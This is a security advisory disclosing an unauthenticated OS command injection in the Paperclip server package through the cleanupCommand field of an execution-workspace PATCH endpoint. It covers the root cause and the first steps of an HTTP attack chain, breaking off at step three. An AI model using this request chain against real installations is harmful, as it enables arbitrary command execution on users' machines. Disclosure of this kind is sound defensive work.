GitHub Security Advisory: GHSA-vr7g-88fq-vhq3
Package: @paperclipai/server (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: < 2026.416.0
Patched in: 2026.416.0

Summary: Paperclip: OS Command Injection via Execution Workspace cleanupCommand

Details:
| Field | Value |
|-------|-------|
| **Affected Software** | Paperclip AI v2026.403.0 |
| **Affected Component** | Execution Workspace lifecycle (`workspace-runtime.ts`) |
| **Affected Endpoint** | `PATCH /api/execution-workspaces/:id` |
| **Deployment Modes** | All — `local_trusted` (zero auth), `authenticated` (any company user) |
| **Platforms** | Linux, macOS, Windows (with Git installed) |
| **Date** | 2026-04-13 |

---

## Executive Summary

A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the `cleanupCommand` field via the `PATCH /api/execution-workspaces/:id` endpoint. When the workspace is archived, the server executes this command verbatim via `child_process.spawn(shell, ["-c", cleanupCommand])` with no input validation or sanitization. In `local_trusted` mode (the default for desktop installations), this requires zero authentication.

Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (`systeminfo`), and GUI application launch (`calc.exe`).

---

## Root Cause Analysis

### Vulnerable Code Path

**`server/src/services/workspace-runtime.ts` (line ~738)**

The `cleanupExecutionWorkspaceArtifacts()` function iterates over cleanup commands from workspace config and executes each via shell:

```typescript
// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()
for (const command of cleanupCommands) {
  await recordWorkspaceCommandOperation(ws, command, ...);
}

// recordWorkspaceCommandOperation() →
const shell = resolveShell();  // process.env.SHELL || "sh"
spawn(shell, ["-c", command]);
```

### Missing Input Validation

**`server/src/routes/execution-workspaces.ts` — PATCH handler**

The PATCH endpoint accepts a `config` object containing `cleanupCommand` with no validation:

```
PATCH /api/execution-workspaces/:id
Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } }
```

The `cleanupCommand` value is stored directly in workspace metadata and later passed to `spawn()` without sanitization, allowlisting, or escaping.

### Shell Resolution

**`resolveShell()`** returns `process.env.SHELL` or falls back to `"sh"`:

- **Linux/macOS**: `/bin/sh` exists natively — commands execute immediately
- **Windows**: `sh.exe` is available via Git for Windows (`C:\Program Files\Git\bin\sh.exe`) — Paperclip requires Git, so `sh` is present on most installations

---

## Attack Chain

The exploit requires 5 HTTP requests with zero authentication in `local_trusted` mode:

### Step 1 — Find a Company

```http
GET /api/companies HTTP/1.1
Host: 127.0.0.1:3100
```

```json
[{"id": "59e9248b-...", "name": "Hello", ...}]
```

### Step 2 — Find an Execution Workspace

```http
GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1
Host: 127.0.0.1:3100
```

```json
[{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}]
```

### Step 3 — Reactivate